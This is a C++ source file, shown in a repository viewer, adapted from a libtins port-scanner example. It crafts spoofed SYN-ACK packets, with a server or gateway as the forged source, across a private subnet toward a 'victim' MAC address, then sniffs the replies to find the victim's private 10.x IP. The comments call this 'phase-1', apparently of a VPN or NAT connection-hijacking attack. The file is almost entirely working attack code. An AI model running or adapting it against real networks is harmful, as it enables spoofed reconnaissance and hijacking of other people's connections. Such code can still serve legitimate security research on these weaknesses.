You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

204 lines
5.8 KiB

  1. /*
  2. * Modified from http://libtins.github.io/examples/syn-scanner/
  3. *
  4. * INCLUDED COPYRIGHT
  5. * Copyright (c) 2016, Matias Fontanini
  6. * All rights reserved.
  7. *
  8. * Redistribution and use in source and binary forms, with or without
  9. * modification, are permitted provided that the following conditions are
  10. * met:
  11. *
  12. * * Redistributions of source code must retain the above copyright
  13. * notice, this list of conditions and the following disclaimer.
  14. * * Redistributions in binary form must reproduce the above
  15. * copyright notice, this list of conditions and the following disclaimer
  16. * in the documentation and/or other materials provided with the
  17. * distribution.
  18. *
  19. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
  20. * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
  21. * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
  22. * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
  23. * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
  24. * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  25. * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
  26. * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
  27. * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
  28. * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
  29. * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  30. *
  31. */
  32. #include <iostream>
  33. #include <iomanip>
  34. #include <vector>
  35. #include <set>
  36. #include <string>
  37. #include <cstdlib>
  38. #include <pthread.h>
  39. #include <unistd.h>
  40. #include <tins/tins.h>
  41. #include <tins/ip.h>
  42. #include <tins/tcp.h>
  43. #include <tins/ip_address.h>
  44. #include <tins/ethernetII.h>
  45. #include <tins/network_interface.h>
  46. #include <tins/sniffer.h>
  47. #include <tins/utils.h>
  48. #include <tins/packet_sender.h>
  49. using std::cout;
  50. using std::endl;
  51. using std::vector;
  52. using std::pair;
  53. using std::setw;
  54. using std::string;
  55. using std::set;
  56. using std::runtime_error;
  57. using namespace Tins;
  58. typedef pair<Sniffer*, string> sniffer_data;
  59. std::string vip;
  60. std::string gwip;
  61. bool verbose = false;
  62. class Scanner {
  63. public:
  64. Scanner(NetworkInterface& interface,
  65. std::string dest_mac,
  66. std::string source_mac,
  67. std::string gateway_ip,
  68. std::string private_ip,
  69. std::string private_ip_subnet_mask,
  70. int sport,
  71. int dport);
  72. void run();
  73. private:
  74. void send_synacks();
  75. bool callback(PDU& pdu);
  76. static void* thread_proc(void* param);
  77. void launch_sniffer();
  78. NetworkInterface iface;
  79. std::string dst_mac;
  80. std::string src_mac;
  81. std::string src_ip;
  82. std::string victim_ip;
  83. std::string victim_subnet;
  84. int sport;
  85. int dport;
  86. Sniffer sniffer;
  87. };
  88. Scanner::Scanner(NetworkInterface& interface,
  89. std::string dest_mac,
  90. std::string source_mac,
  91. std::string gateway_ip,
  92. std::string private_ip,
  93. std::string private_ip_subnet_mask,
  94. int src_port,
  95. int dst_port) : iface(interface), dst_mac(dest_mac), src_mac(source_mac), src_ip(gateway_ip), victim_ip(private_ip), victim_subnet(private_ip_subnet_mask), sport(src_port), dport(dst_port),sniffer(interface.name()) {
  96. }
  97. void* Scanner::thread_proc(void* param) {
  98. Scanner* data = (Scanner*)param;
  99. data->launch_sniffer();
  100. return 0;
  101. }
  102. void Scanner::launch_sniffer() {
  103. sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback));
  104. }
  105. /* Our scan handler. This will receive SYN-ACKS and inform us
  106. * the scanned port's status.
  107. */
  108. bool Scanner::callback(PDU& pdu) {
  109. // Find the layers we want.
  110. const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
  111. const TCP &tcp = pdu.rfind_pdu<TCP>(); // Grab TCP layer
  112. static int total_seen = 0;
  113. if (ip.src_addr().to_string().rfind("10.", 0) == 0 && tcp.sport() != 22) {
  114. if (verbose) std::cout << "Victim IP is:";
  115. std::cout << ip.src_addr() << "\n";
  116. vip = ip.src_addr();
  117. total_seen += 1;
  118. if (total_seen > 0) {
  119. return false;
  120. }
  121. }
  122. return true;
  123. }
  124. void Scanner::run() {
  125. pthread_t thread;
  126. // Launch our sniff thread.
  127. pthread_create(&thread, 0, &Scanner::thread_proc, this);
  128. // Start sending SYNs to port.
  129. send_synacks();
  130. // Wait for our sniffer.
  131. void* dummy;
  132. pthread_join(thread, &dummy);
  133. }
  134. // Send syn acks to the given ip address, using the destination ports provided.
  135. void Scanner::send_synacks() {
  136. // Retrieve the addresses.
  137. PacketSender sender;
  138. IPv4Range ip_range = IPv4Range::from_mask(victim_ip, victim_subnet);
  139. for (const IPv4Address &addr : ip_range) {
  140. EthernetII pkt = EthernetII(dst_mac, src_mac) / IP(addr, src_ip) / TCP(dport, sport);
  141. TCP& tcp = pkt.rfind_pdu<TCP>();
  142. tcp.set_flag(TCP::ACK, 1);
  143. tcp.set_flag(TCP::SYN, 1);
  144. if (verbose) std::cout << "Sending to IP:" << addr << std::endl;
  145. sender.send(pkt, iface);
  146. sender.send(pkt, iface);
  147. usleep(10);
  148. }
  149. }
  150. void scan(int argc, char* argv[]) {
  151. std::string dst_mac = argv[1]; // victim MAC address
  152. std::string src_mac = ""; // src mac does not matter
  153. std::string private_ip_subnet = argv[2];
  154. std::string private_ip_subnet_mask = argv[3];
  155. gwip = argv[4]; // IP of server that client is talking to
  156. int sport = 80; // source, dest port for phase-1 are arbitrary
  157. int dport = 80;
  158. IPv4Address ip(gwip);
  159. // Resolve the interface which will be our gateway
  160. NetworkInterface iface(ip);
  161. if (verbose) cout << "Sniffing on interface: " << iface.name() << endl;
  162. // Consume arguments
  163. Scanner scanner(iface, dst_mac, src_mac, gwip, private_ip_subnet,
  164. private_ip_subnet_mask, sport, dport);
  165. scanner.run();
  166. }
  167. int main(int argc, char* argv[]) {
  168. if (argc != 6) {
  169. std::cout << "usage: ./send <DST_MAC> <PRIVATE IP SUBNET> <PRIVATE IP SUBNET MASK> <SOUCE IP> <IFACE>\n";
  170. exit(-1);
  171. }
  172. try {
  173. scan(argc, argv);
  174. }
  175. catch(runtime_error& ex) {
  176. cout << "Error - " << ex.what() << endl;
  177. }
  178. }